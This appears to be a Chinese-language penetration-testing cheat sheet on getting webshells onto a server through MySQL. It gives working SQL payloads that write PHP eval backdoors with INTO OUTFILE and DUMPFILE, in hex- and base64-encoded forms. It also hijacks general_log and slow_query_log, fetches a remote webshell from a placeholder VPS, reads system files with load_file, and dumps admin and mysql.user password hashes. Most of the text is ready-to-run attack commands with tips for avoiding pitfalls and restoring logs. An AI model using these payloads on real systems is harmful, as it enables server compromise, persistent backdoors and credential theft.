写webshell
以mysql数据库为例
outfile
写shell需要判断当前有没有设置secure_file_priv,只有当secure_file_priv为空才有权限写文件,这个配置由my.ini定义,无法在执行sql的情景更改配置。
show global variables like '%secure%';
写入webshell
#写入常规一句话
select '<?php eval($_POST["x"]) ?>' into outfile 'C:\\phpstudy_pro\\WWW\\loga.php';
#存到数据库表中再写入
Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[x]) ?>');Select cmd from temp into outfile 'C:\\phpstudy_pro\\WWW\\loga.php';Drop TABLE IF EXISTS temp;
#使用hex编码写入
select 0x3c3f706870206576616c28245f504f53545b2278225d29203f3e into outfile 'C:\\phpstudy_pro\\WWW\\x.php'
outfile可以导出多行数据,但是在将数据写到文件时mysql会对换行符(0a),制表符(09)等特殊字符做处理。使用有换行符的webshell时,很多hex编码后换行符使用的是0a(即\n),而0a会被outfile做特殊处理,除了换行符外还会额外增加一个\符号,所以我们写shell时如果用0a做换行符会破坏我们的webshell结构导致失败。
例如当我们尝试写入最简单的一个有换行符和制表符shell
select 0x3c3f7068700a096576616c28245f504f53545b2278646464646464646464225d3b0a3f3e into outfile 'C:\\phpstudy_pro\\WWW\\xddddddddd.php'
poc如下:
#在同目录生成密码是cmd的一句话cmd.php
select '<?php file_put_contents("cmd.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKSA/Pg=="));?>' into outfile 'C:\\phpstudy_pro\\WWW\\1.php'
dumpfile
写shell需要判断当前有没有设置secure_file_priv,只有当secure_file_priv为空才有权限写文件,这个配置由my.ini定义,无法在执行sql的情景更改配置
show global variables like '%secure%';
写入shell
#写入常规一句话
select '<?php eval($_POST["x"]) ?>' into dumpfile 'C:\\phpstudy_pro\\WWW\\loga.php';
#存到数据库表中再写入
Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[x]) ?>');Select cmd from temp into outfile 'C:\\phpstudy_pro\\WWW\\loga.php';Drop TABLE IF EXISTS temp;
#使用hex编码写入
select 0x3c3f706870206576616c28245f504f53545b2278225d29203f3e into outfile 'C:\\phpstudy_pro\\WWW\\x.php'
dumpfile只能导出一行数据,但是写入shell时不会像outfile那样有换行符的坑点,dumpfile写入文件时会严格保持原数据格式,所以我们打udf写入dll都用dumpfile
general_log
利用日志getshell的方法不受secure_file_priv的限制,只要知道web绝对路径即可。
查询general_log的配置
show global variables like '%general_log%'; #查询general_log的配置,以便事后恢复
#或
select @@general_log_file #查询general_log目录
select @@general_log #查询general_log是否开启,0表示未开启,1表示开启
开启general_log
set global general_log='ON';
set global general_log_file='C:\\phpstudy_pro\\WWW\\log.php';
#执行后应该立即能在网站访问到log.php文件
写入webshell内容
#任意写入一句话马
select '<?php @eval($_POST[01282095])?>'
#注意这里不能用hex编码,因为用了hex记录到log文件里的内容还是hex编码的内容,而不是hex编码后的内容。而且尽量用简短的马,内容多的马遇到一些特殊字符容易出错。
#由于只要有sql语句执行就会记录到日志里,执行语句多了可能插入特殊字符导致我们的马被破坏结构。所以建议拿到权限后尽快传新的马并恢复原本的general_log配置。
#应对这类情况一般我们可以传一个写文件的马,在同级目录生成密码是cmd的一句话cmd.php
select '<?php file_put_contents("cmd.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKSA/Pg=="));?>'
#或者远程加载
select '<?php file_put_contents("xx.php",file_get_contents("http://vpsip/webshell.txt");?>'
slow_query_log_file
利用慢日志getshell的方法也不受secure_file_priv的限制,只要知道web绝对路径即可。
查询慢日志的配置
show variables like '%slow%' #查询慢日志配置,以便事后恢复
或
select @@slow_query_log_file #查询慢日志目录,以便事后恢复
select @@slow_query_log #查询慢日志是否开启,0表示未开启,1表示开启
开启慢日志
set GLOBAL slow_query_log_file='C:\\phpstudy_pro\\WWW\\log.php';
set GLOBAL slow_query_log=on;
写入webshell内容
#和前面的general_log完全一致,只需要在sql语句结尾加上sleep(10)触发延时即可
select '<?php @eval($_POST["x"])?>' from mysql.db where sleep(10);
#写文件shell
select '<?php file_put_contents("cmd.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKSA/Pg=="));?>' from mysql.db where sleep(10);
写文件获取shell思路
以mysql为例,已知公开的不写webshel要获取服务器权限的思路,都是围绕利用写文件的特性写入各种特殊的文件触发命令执行等行为获取shell权限。
所以仍需要判断当前有没有设置secure_file_priv,只有当secure_file_priv为空且secure_auth为OFF才有权限写文件
show global variables like '%secure%';
读系统文件
有可能有特大的文件用mysql读文件的洞读不到,这时可以在adminer后台使用load_file去尝试读一下
#常规读文件
select load_file('C:\\phpstudy_pro\\WWW\\index.html')
#路径可以使用hex编码,且读到的数据是blob格式,需要hex编码一下方便取出来
select hex(load_file(0x433A5C5C70687073747564795F70726F5C5C5757575C5C696E6465782E68746D6C))
读数据库中网站管理员用户密码
直接找密码字段
一般adminer这边干不动,就可以去尝试下网站后台那边是否有可以相互配合的漏洞
#搜索es库中包含pass字段的表名
select table_schema,table_name,column_name from information_schema.COLUMNS where column_name like '%pass%' and table_schema='es'
#搜索所有库中包含pass字段的表名
select table_schema,table_name,column_name from information_schema.COLUMNS where column_name like '%pass%'
读mysql账户的密码
如果无法获得网站管理员的明文密码,可以尝试读取并解密mysql用户的账号密码,并根据解密后的密码内容猜测网站管理员后台账号密码
# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;